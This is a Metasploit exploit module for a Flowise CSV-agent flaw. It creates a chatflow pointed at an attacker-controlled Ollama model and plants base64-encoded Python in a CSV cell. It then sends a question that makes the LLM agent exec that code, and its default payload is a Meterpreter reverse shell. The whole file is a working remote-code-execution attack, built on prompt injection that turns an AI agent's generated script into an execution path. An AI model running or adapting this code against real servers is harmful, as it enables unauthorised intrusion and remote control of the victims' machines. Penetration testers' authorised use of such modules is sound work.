## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Flowise prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Flowise CSV Agent Prompt Injection RCE', 'Description' => %q{ This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability. The specific flaw exists within the run method of the CSV_Agents class. The issue results from the lack of proper sandboxing when evaluating an LLM generated python script. An attacker can leverage this vulnerability to execute code in the context of the user running the server. }, 'Author' => [ 'zdi-disclosures', # Vulnerability discovery 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-41264'], ['GHSA', '3hjv-c53m-58jj'] ], 'Platform' => %w[unix linux win], 'Arch' => [ ARCH_CMD ], 'Payload' => { 'BadChars' => "'" }, 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], # not tested [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DisclosureDate' => '2026-04-22', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 3000, 'FETCH_DELETE' => true }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] } ) ) register_options([ OptString.new('APIKEY', [ true, 'Flowise API Key (chatflows:create permission required)']), OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker']), OptString.new('MODEL', [ true, 'Valid ollama model name']), ]) end def check version = flowise_get_version return CheckCode::Unknown('Could not retrieve Flowise version.') unless version return CheckCode::Appears("Flowise version #{version} detected") if version.between?(Rex::Version.new('1.3.0'), Rex::Version.new('3.0.13')) CheckCode::Safe("Flowise version #{version} detected") end def exploit # create chatflow flow = exploit_data('CVE-2026-41264', 'cve_2026_41264.json') flow = flow.gsub('__NAME__', rand_text_alphanumeric(8)) flow = flow.gsub('__MODELNAME__', datastore['MODEL']) flow = flow.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI']) flow = flow.gsub('__PAYLOAD__', Rex::Text.encode_base64("pythoncode\nimport os as pandas;pandas.system('#{payload.encode}')")) flow = flow.gsub('__FILENAME__', rand_text_alphanumeric(8) + '.csv') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/chatflows'), 'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" }, 'ctype' => 'application/json', 'data' => flow }) fail_with(Failure::Unknown, 'Failed to create a chatflow.') unless res&.code == 200 @id = res&.get_json_document&.[]('id') fail_with(Failure::Unknown, 'Failed to retrieve a chatflow id.') unless @id send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/v1/prediction/#{@id}"), 'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" }, 'ctype' => 'application/json', 'data' => { 'question' => 'exec(df["pythoncode"].iloc[0])' }.to_json }) end def cleanup super if @id res = send_request_cgi({ 'uri' => normalize_uri(target_uri, "api/v1/chatflows/#{@id}"), 'method' => 'DELETE', 'headers' => { 'Authorization' => "Bearer #{datastore['APIKEY']}" } }) print_status('Failed to delete chatflow. Lack of chatflows:delete permission?') unless res&.code == 200 end end end